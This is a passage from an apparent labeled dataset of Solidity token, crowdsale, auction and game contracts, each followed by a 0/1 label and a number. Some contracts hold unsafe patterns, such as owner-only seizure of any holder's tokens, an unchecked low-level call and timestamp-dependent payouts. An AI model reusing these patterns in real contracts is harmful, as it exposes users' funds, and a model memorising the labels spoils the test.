event Set_TimeStamp(uint256 ico_open_time, uint256 ico_closed_time);
event WithdrawETH(uint256 amount);
event BlockedAddress(address blockedAddress);
event TempLockedAddress(address tempLockAddress, uint256 unlockTime);
}
contract Variable
{
string public name;
string public symbol;
uint256 public decimals;
uint256 public totalSupply;
address public owner;
string public status;
uint256 internal _decimals;
uint256 internal tokenReward;
uint256 internal ico_open_time;
uint256 internal ico_closed_time;
bool internal transferLock;
bool internal depositLock;
mapping (address => bool) public allowedAddress;
mapping (address => bool) public blockedAddress;
mapping (address => uint256) public tempLockedAddress;
mapping (address => uint256) public balanceOf;
constructor() public
{
name = "PURIECO";
symbol = "PEC";
decimals = 18;
_decimals = 10 ** uint256(decimals);
tokenReward = 0;
totalSupply = _decimals * 8800000000;
status = "";
ico_open_time = 0;
ico_closed_time = 0;
transferLock = true;
depositLock = true;
owner = msg.sender;
balanceOf[owner] = totalSupply;
allowedAddress[owner] = true;
}
}
contract Modifiers is Variable
{
modifier isOwner
{
require(owner == msg.sender);
_;
}
modifier isValidAddress
{
require(0x0 != msg.sender);
_;
}
}
contract Set is Variable, Modifiers, Event
{
function setStatus(string _status) public isOwner returns(bool success)
{
status = _status;
emit Set_Status(status);
return true;
}
function setTokenReward(uint256 _tokenReward) public isOwner returns(bool success)
{
tokenReward = _tokenReward;
emit Set_TokenReward(tokenReward);
return true;
}
function setTimeStamp(uint256 _ico_open_time,uint256 _ico_closed_time) public isOwner returns(bool success)
{
ico_open_time = _ico_open_time;
ico_closed_time = _ico_closed_time;
emit Set_TimeStamp(ico_open_time, ico_closed_time);
return true;
}
function setTransferLock(bool _transferLock) public isOwner returns(bool success)
{
transferLock = _transferLock;
return true;
}
function setDepositLock(bool _depositLock) public isOwner returns(bool success)
{
depositLock = _depositLock;
return true;
}
function setTimeStampStatus(uint256 _ico_open_time, uint256 _ico_closed_time, string _status) public isOwner returns(bool success)
{
ico_open_time = _ico_open_time;
ico_closed_time = _ico_closed_time;
status = _status;
emit Set_TimeStamp(ico_open_time,ico_closed_time);
emit Set_Status(status);
return true;
}
}
contract manageAddress is Variable, Modifiers, Event
{
function add_allowedAddress(address _address) public isOwner
{
allowedAddress[_address] = true;
}
function add_blockedAddress(address _address) public isOwner
{
require(_address != owner);
blockedAddress[_address] = true;
emit BlockedAddress(_address);
}
function delete_allowedAddress(address _address) public isOwner
{
require(_address != owner);
allowedAddress[_address] = false;
}
function delete_blockedAddress(address _address) public isOwner
{
blockedAddress[_address] = false;
}
}
contract Get is Variable, Modifiers
{
using safeMath for uint256;
function get_tokenTime() public view returns(uint256 start, uint256 stop)
{
return (ico_open_time,ico_closed_time);
}
function get_transferLock() public view returns(bool)
{
return transferLock;
}
function get_depositLock() public view returns(bool)
{
return depositLock;
}
function get_tokenReward() public view returns(uint256)
{
return tokenReward;
}
}
contract Admin is Variable, Modifiers, Event
{
using safeMath for uint256;
function admin_transfer_tempLockAddress(address _to, uint256 _value, uint256 _unlockTime) public isOwner returns(bool success)
{
require(_value > 0);
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to].add(_value) >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
tempLockedAddress[_to] = _unlockTime;
emit Transfer(msg.sender, _to, _value);
emit TempLockedAddress(_to, _unlockTime);
return true;
}
function admin_transferFrom(address _from, address _to, uint256 _value) public isOwner returns(bool success)
{
require(_value > 0);
require(balanceOf[msg.sender] >= _value);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function admin_tokenBurn(uint256 _value) public isOwner returns(bool success)
{
require(_value > 0);
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit TokenBurn(msg.sender, _value);
return true;
}
function admin_tokenAdd(uint256 _value) public isOwner returns(bool success)
{
require(_value > 0);
balanceOf[msg.sender] = balanceOf[msg.sender].add(_value);
totalSupply = totalSupply.add(_value);
emit TokenAdd(msg.sender, _value);
return true;
}
function admin_renewLockedAddress(address _address, uint256 _unlockTime) public isOwner returns(bool success)
{
tempLockedAddress[_address] = _unlockTime;
emit TempLockedAddress(_address, _unlockTime);
return true;
}
}
contract PEC is Variable, Event, Get, Set, Admin, manageAddress
{
function() payable public
{
require(msg.value > 0);
require(ico_open_time < block.timestamp && ico_closed_time > block.timestamp);
require(!depositLock);
uint256 tokenValue;
tokenValue = (msg.value).mul(tokenReward);
require(balanceOf[owner] >= tokenValue);
require(balanceOf[msg.sender].add(tokenValue) >= balanceOf[msg.sender]);
emit Deposit(msg.sender, msg.value, status);
balanceOf[owner] -= tokenValue;
balanceOf[msg.sender] += tokenValue;
emit Transfer(owner, msg.sender, tokenValue);
}
function transfer(address _to, uint256 _value) public isValidAddress
{
require(!blockedAddress[msg.sender] && !blockedAddress[_to]);
require(_value > 0 && _to != msg.sender);
require(balanceOf[msg.sender] >= _value);
require(allowedAddress[msg.sender] || transferLock == false);
require(tempLockedAddress[msg.sender] < block.timestamp);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
}
function ETH_withdraw(uint256 amount) public isOwner returns(bool)
{
owner.transfer(amount);
emit WithdrawETH(amount);
return true;
}
} | 0 | 1,387 |
pragma solidity ^0.4.11;
contract ERC20Interface {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract TLCUSD is ERC20Interface {
string public constant symbol = "TLCUSD";
string public constant name = "TLCUSD";
uint8 public constant decimals = 8;
uint256 _totalSupply = 50000000000000000;
address public owner;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
function TLCUSD() {
owner = msg.sender;
balances[owner] = _totalSupply;
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = _totalSupply;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 1 | 4,135 |
pragma solidity 0.4.11;
contract ERC20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Token is ERC20Interface {
using SafeMath for uint256;
mapping (address => uint) balances;
mapping (address => mapping (address => uint256)) allowed;
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= (size + 4));
_;
}
function () public{
revert();
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) returns (bool success) {
_transferFrom(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) returns (bool) {
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_transferFrom(_from, _to, _value);
return true;
}
function _transferFrom(address _from, address _to, uint256 _value) internal {
require(_value > 0);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) revert();
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
}
contract IQFToken is ERC20Token, owned{
using SafeMath for uint256;
string public name = 'IQF TOKEN';
string public symbol = 'IQF';
uint8 public decimals = 8;
uint256 public totalSupply = 10000000000000000;
function IQFToken() public {
balances[this] = totalSupply;
}
function setTokens(address target, uint256 _value) public onlyOwner {
balances[this] = balances[this].sub(_value);
balances[target] = balances[target].add(_value);
Transfer(this, target, _value);
}
function burnBalance() public onlyOwner {
totalSupply = totalSupply.sub(balances[this]);
Transfer(this, address(0), balances[this]);
balances[this] = 0;
}
} | 1 | 3,071 |
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract crowdsaleCoReferral is SafeMath {
uint256 public weiRaised = 0;
address public wwamICOcontractAddress = 0x16138829b22e20f7d5c2158d7ee7e0719f490260;
address public pricingStrategyAddress = 0xfd19c8acc64d063ef46b506ce56bc98bd7ee0caa;
address public tokenAddress = 0x9c1e507522394138687f9f6dd33a63dba73ba2af;
function() payable {
wwamICOcontractAddress.call.gas(300000).value(msg.value)();
weiRaised = safeAdd(weiRaised, msg.value);
PricingStrategy pricingStrategy = PricingStrategy(pricingStrategyAddress);
uint tokenAmount = pricingStrategy.calculatePrice(msg.value, 0, 0, 0, 0);
StandardToken token = StandardToken(tokenAddress);
token.transfer(msg.sender, tokenAmount);
}
} | 1 | 3,509 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
pragma solidity ^0.4.24;
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract SelfServiceAccessControls is Ownable {
mapping(address => bool) public allowedArtists;
bool public openToAllArtist = false;
function setOpenToAllArtist(bool _openToAllArtist) onlyOwner public {
openToAllArtist = _openToAllArtist;
}
function setAllowedArtist(address _artist, bool _allowed) onlyOwner public {
allowedArtists[_artist] = _allowed;
}
function isEnabledForAccount(address account) public view returns (bool) {
if (openToAllArtist) {
return true;
}
return allowedArtists[account];
}
function withdrawStuckEther(address _withdrawalAccount) onlyOwner public {
require(_withdrawalAccount != address(0), "Invalid address provided");
_withdrawalAccount.transfer(address(this).balance);
}
}
pragma solidity 0.4.24;
interface IKODAV2SelfServiceEditionCuration {
function createActiveEdition(
uint256 _editionNumber,
bytes32 _editionData,
uint256 _editionType,
uint256 _startDate,
uint256 _endDate,
address _artistAccount,
uint256 _artistCommission,
uint256 _priceInWei,
string _tokenUri,
uint256 _totalAvailable
) external returns (bool);
function artistsEditions(address _artistsAccount) external returns (uint256[1] _editionNumbers);
function totalAvailableEdition(uint256 _editionNumber) external returns (uint256);
function highestEditionNumber() external returns (uint256);
}
interface IKODAAuction {
function setArtistsControlAddressAndEnabledEdition(uint256 _editionNumber, address _address) external;
}
contract SelfServiceEditionCurationV2 is Ownable, Pausable {
using SafeMath for uint256;
event SelfServiceEditionCreated(
uint256 indexed _editionNumber,
address indexed _creator,
uint256 _priceInWei,
uint256 _totalAvailable,
bool _enableAuction
);
IKODAV2SelfServiceEditionCuration public kodaV2;
IKODAAuction public auction;
SelfServiceAccessControls public accessControls;
uint256 public artistCommission = 85;
uint256 public maxEditionSize = 100;
uint256 public minPricePerEdition = 0;
bool public disableInvocationCheck = false;
uint256 public maxInvocations = 1;
uint256 public maxInvocationsTimePeriod = 1 days;
mapping(address => uint256) public invocationsInTimePeriod;
mapping(address => uint256) public timeOfFirstInvocationInPeriod;
constructor(
IKODAV2SelfServiceEditionCuration _kodaV2,
IKODAAuction _auction,
SelfServiceAccessControls _accessControls
) public {
kodaV2 = _kodaV2;
auction = _auction;
accessControls = _accessControls;
}
function createEdition(
uint256 _totalAvailable,
uint256 _priceInWei,
uint256 _startDate,
string _tokenUri,
bool _enableAuction
)
public
whenNotPaused
returns (uint256 _editionNumber)
{
validateInvocations();
return _createEdition(msg.sender, _totalAvailable, _priceInWei, _startDate, _tokenUri, _enableAuction);
}
function createEditionFor(
address _artist,
uint256 _totalAvailable,
uint256 _priceInWei,
uint256 _startDate,
string _tokenUri,
bool _enableAuction
)
public
onlyOwner
returns (uint256 _editionNumber)
{
return _createEdition(_artist, _totalAvailable, _priceInWei, _startDate, _tokenUri, _enableAuction);
}
function _createEdition(
address _artist,
uint256 _totalAvailable,
uint256 _priceInWei,
uint256 _startDate,
string _tokenUri,
bool _enableAuction
)
internal
returns (uint256 _editionNumber){
require(_totalAvailable > 0, "Must be at least one available in edition");
require(_totalAvailable <= maxEditionSize, "Must not exceed max edition size");
require(_priceInWei >= minPricePerEdition, "Price must be greater than minimum");
if (msg.sender != owner) {
if (!accessControls.openToAllArtist()) {
require(accessControls.allowedArtists(_artist), "Only allowed artists can create editions for now");
}
}
uint256 editionNumber = getNextAvailableEditionNumber();
require(
_createNewEdition(editionNumber, _artist, _totalAvailable, _priceInWei, _startDate, _tokenUri),
"Failed to create new edition"
);
if (_enableAuction) {
auction.setArtistsControlAddressAndEnabledEdition(editionNumber, _artist);
}
emit SelfServiceEditionCreated(editionNumber, _artist, _priceInWei, _totalAvailable, _enableAuction);
return editionNumber;
}
function _createNewEdition(
uint256 _editionNumber,
address _artist,
uint256 _totalAvailable,
uint256 _priceInWei,
uint256 _startDate,
string _tokenUri
)
internal
returns (bool) {
return kodaV2.createActiveEdition(
_editionNumber,
0x0,
1,
_startDate,
0,
_artist,
artistCommission,
_priceInWei,
_tokenUri,
_totalAvailable
);
}
function validateInvocations() internal {
if (disableInvocationCheck) {
return;
}
uint256 invocationPeriodStart = timeOfFirstInvocationInPeriod[msg.sender];
if (invocationPeriodStart != 0) {
uint256 timePassedInPeriod = block.timestamp - invocationPeriodStart;
if (timePassedInPeriod < maxInvocationsTimePeriod) {
uint256 invocations = invocationsInTimePeriod[msg.sender];
uint256 currentInvocation = invocations + 1;
require(currentInvocation <= maxInvocations, "Exceeded max invocations for time period");
invocationsInTimePeriod[msg.sender] = currentInvocation;
} else {
invocationsInTimePeriod[msg.sender] = 1;
timeOfFirstInvocationInPeriod[msg.sender] = block.timestamp;
}
} else {
invocationsInTimePeriod[msg.sender] = 1;
timeOfFirstInvocationInPeriod[msg.sender] = block.timestamp;
}
}
function getNextAvailableEditionNumber()
internal
returns (uint256 editionNumber) {
uint256 highestEditionNumber = kodaV2.highestEditionNumber();
uint256 totalAvailableEdition = kodaV2.totalAvailableEdition(highestEditionNumber);
uint256 nextAvailableEditionNumber = highestEditionNumber.add(totalAvailableEdition).add(1);
return ((nextAvailableEditionNumber + maxEditionSize - 1) / maxEditionSize) * maxEditionSize;
}
function setKodavV2(IKODAV2SelfServiceEditionCuration _kodaV2) onlyOwner public {
kodaV2 = _kodaV2;
}
function setAuction(IKODAAuction _auction) onlyOwner public {
auction = _auction;
}
function setArtistCommission(uint256 _artistCommission) onlyOwner public {
artistCommission = _artistCommission;
}
function setMaxEditionSize(uint256 _maxEditionSize) onlyOwner public {
maxEditionSize = _maxEditionSize;
}
function setMaxInvocations(uint256 _maxInvocations) onlyOwner public {
maxInvocations = _maxInvocations;
}
function setDisableInvocationCheck(bool _disableInvocationCheck) onlyOwner public {
disableInvocationCheck = _disableInvocationCheck;
}
function setMinPricePerEdition(uint256 _minPricePerEdition) onlyOwner public {
minPricePerEdition = _minPricePerEdition;
}
function canCreateAnotherEdition(address account) public view returns (bool) {
if (!isEnabledForAccount(account)) {
return false;
}
return invocationsInTimePeriod[account] < maxInvocations;
}
function isEnabledForAccount(address account) public view returns (bool) {
return accessControls.isEnabledForAccount(account);
}
function withdrawStuckEther(address _withdrawalAccount) onlyOwner public {
require(_withdrawalAccount != address(0), "Invalid address provided");
_withdrawalAccount.transfer(address(this).balance);
}
} | 1 | 2,987 |
contract AlwaysFail {
function AlwaysFail() {
}
function() {
enter();
}
function enter() {
throw;
}
} | 1 | 4,333 |
pragma solidity ^0.4.24;
interface Emojisan {
function ownerOf(uint tokenId) external view returns (address);
function balanceOf(address owner) external view returns (uint);
function transferFrom(address from, address to, uint tokenId) external;
function mint(uint tokenId) external;
function setMinter(address newMinter) external;
}
contract EmojisanAuctionHouse {
event Bid(uint indexed tokenId);
struct Auction {
address owner;
uint128 currentPrice;
}
struct User {
uint128 balance;
uint32 bidBlock;
}
Emojisan public constant emojisan = Emojisan(0xE3f2F807ba194ea0221B9109fb14Da600C9e1eb6);
uint[] public tokenByIndex;
mapping (uint => Auction) public auction;
mapping (address => User) public user;
uint32 private constant auctionTime = 20000;
address public whaleAddress;
uint32 public whaleStartTime;
uint128 public whaleBalance;
uint32 private constant whaleWithdrawDelay = 80000;
uint128 public ownerBalance;
uint private constant ownerTokenId = 128512;
function tokens() external view returns (uint[]) {
return tokenByIndex;
}
function tokensCount() external view returns (uint) {
return tokenByIndex.length;
}
function wantItForFree(uint tokenId) external {
require(block.number >= user[msg.sender].bidBlock + auctionTime);
require(auction[tokenId].owner == address(this));
auction[tokenId].owner = msg.sender;
user[msg.sender].bidBlock = uint32(block.number);
emojisan.mint(tokenId);
emit Bid(tokenId);
}
function wantItMoreThanYou(uint tokenId) external payable {
require(block.number >= user[msg.sender].bidBlock + auctionTime);
address previousOwner = auction[tokenId].owner;
require(block.number < user[previousOwner].bidBlock + auctionTime);
uint128 previousPrice = auction[tokenId].currentPrice;
uint128 price;
if (previousPrice == 0) {
price = 2 finney;
} else if (previousPrice < 500 finney) {
price = 2 * previousPrice;
} else {
price = (previousPrice + 500 finney) / 500 finney * 500 finney;
}
require(msg.value >= price);
uint128 priceDiff = price - previousPrice;
user[previousOwner] = User({
balance: previousPrice + priceDiff / 4,
bidBlock: 0
});
whaleBalance += priceDiff / 2;
ownerBalance += priceDiff / 4;
auction[tokenId] = Auction({
owner: msg.sender,
currentPrice: price
});
user[msg.sender].bidBlock = uint32(block.number);
if (msg.value > price) {
msg.sender.transfer(msg.value - price);
}
emit Bid(tokenId);
}
function wantMyToken(uint tokenId) external {
Auction memory a = auction[tokenId];
require(block.number >= user[a.owner].bidBlock + auctionTime);
emojisan.transferFrom(this, a.owner, tokenId);
}
function wantMyEther() external {
uint amount = user[msg.sender].balance;
user[msg.sender].balance = 0;
msg.sender.transfer(amount);
}
function wantToBeWhale() external {
require(emojisan.balanceOf(msg.sender) > emojisan.balanceOf(whaleAddress));
whaleAddress = msg.sender;
whaleStartTime = uint32(block.number);
}
function whaleWantMyEther() external {
require(msg.sender == whaleAddress);
require(block.number >= whaleStartTime + whaleWithdrawDelay);
whaleStartTime = uint32(block.number);
uint amount = whaleBalance;
whaleBalance = 0;
whaleAddress.transfer(amount);
}
function ownerWantMyEther() external {
uint amount = ownerBalance;
ownerBalance = 0;
emojisan.ownerOf(ownerTokenId).transfer(amount);
}
function wantNewTokens(uint[] tokenIds) external {
require(msg.sender == emojisan.ownerOf(ownerTokenId));
for (uint i = 0; i < tokenIds.length; i++) {
auction[tokenIds[i]].owner = this;
tokenByIndex.push(tokenIds[i]);
}
}
function wantNewMinter(address minter) external {
require(msg.sender == emojisan.ownerOf(ownerTokenId));
emojisan.setMinter(minter);
}
} | 0 | 904 |
pragma solidity ^0.4.23;
contract ERC20 {
uint256 public totalSupply;
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function balanceOf(address _owner) public view returns (uint256 balance);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function sub(uint256 x, uint256 y) internal pure returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function mul(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x * y;
assert((x == 0) || (z / x == y));
return z;
}
function div(uint256 x, uint256 y) internal pure returns(uint256) {
assert(y != 0);
uint256 z = x / y;
assert(x == y * z + x % y);
return z;
}
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) external;
}
contract Ownable {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier validAddress(address _address) {
require(_address != address(0));
_;
}
event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);
constructor(address _owner) public validAddress(_owner) {
owner = _owner;
}
function transferOwnership(address _newOwner) public onlyOwner validAddress(_newOwner) {
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC223 is ERC20 {
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
}
contract StandardToken is ERC223 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
modifier validAddress(address _address) {
require(_address != address(0));
_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
transfer(_to, _value, empty);
}
function transfer(address _to, uint256 _value, bytes _data) public validAddress(_to) returns (bool success) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if (codeLength > 0) {
ERC223ReceivingContract(_to).tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public validAddress(_to) returns (bool) {
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(uint256 supply, address indexed to, uint256 amount);
function tokenTotalSupply() public pure returns (uint256);
function mint(address _to, uint256 _amount) external onlyOwner returns (bool) {
require(totalSupply.add(_amount) <= tokenTotalSupply());
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(totalSupply, _to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
contract BodhiEthereum is MintableToken {
string public constant name = "Bodhi Ethereum";
string public constant symbol = "BOE";
uint256 public constant decimals = 8;
constructor() Ownable(msg.sender) public {
}
function tokenTotalSupply() public pure returns (uint256) {
return 100 * (10**6) * (10**decimals);
}
} | 1 | 4,025 |
pragma solidity ^0.4.21;
contract LasVegas{
address owner;
address helper=0x30B3E09d9A81D6B265A573edC7Cc4C4fBc0B0586;
uint256 public TimeFinish = 0;
uint256 TimerResetTime = 7200;
uint256 TimerStartTime = 3600;
uint256 public Pot = 0;
uint16 PIncr = 10000;
uint16 DIVP = 6500;
uint16 POTP = 3500;
uint16 WPOTPART = 9000;
uint16 public DEVP = 350;
uint16 public HVAL = 2000;
uint256 BasicPrice = 1 finney;
struct Item{
address owner;
uint256 CPrice;
bool reset;
}
uint8 constant SIZE = 9;
Item[SIZE] public ItemList;
address public PotOwner;
event ItemBought(address owner, uint256 newPrice, uint256 newPot, uint256 Timer, string says, uint8 id);
event GameWon(address owner, uint256 paid, uint256 npot);
modifier OnlyOwner(){
if (msg.sender == owner){
_;
}
else{
revert();
}
}
function SetDevFee(uint16 tfee) public OnlyOwner{
require(tfee <= 500);
DEVP = tfee;
}
function SetHFee(uint16 hfee) public OnlyOwner {
require(hfee <= 10000);
require(hfee >= 1000);
HVAL = hfee;
}
function LasVegas() public {
var ITM = Item(msg.sender, BasicPrice, true );
ItemList[0] = ITM;
ItemList[1] = ITM;
ItemList[2] = ITM;
ItemList[3] = ITM;
ItemList[4] = ITM;
ItemList[5] = ITM;
ItemList[6] = ITM;
ItemList[7] = ITM;
ItemList[8] = ITM;
owner=msg.sender;
}
function Payout() public {
require(TimeFinish < block.timestamp);
require(TimeFinish > 1);
uint256 pay = (Pot * WPOTPART)/10000;
Pot = Pot - pay;
PotOwner.transfer(pay);
TimeFinish = 1;
for (uint8 i = 0; i <SIZE; i++ ){
ItemList[i].reset= true;
}
emit GameWon(PotOwner, pay, Pot);
}
function Buy(uint8 ID, string says) public payable {
require(ID < SIZE);
var ITM = ItemList[ID];
if (TimeFinish == 0){
TimeFinish = block.timestamp;
}
else if (TimeFinish == 1){
TimeFinish =block.timestamp + TimerResetTime;
}
uint256 price = ITM.CPrice;
if (ITM.reset){
price = BasicPrice;
}
if (TimeFinish < block.timestamp){
Payout();
msg.sender.transfer(msg.value);
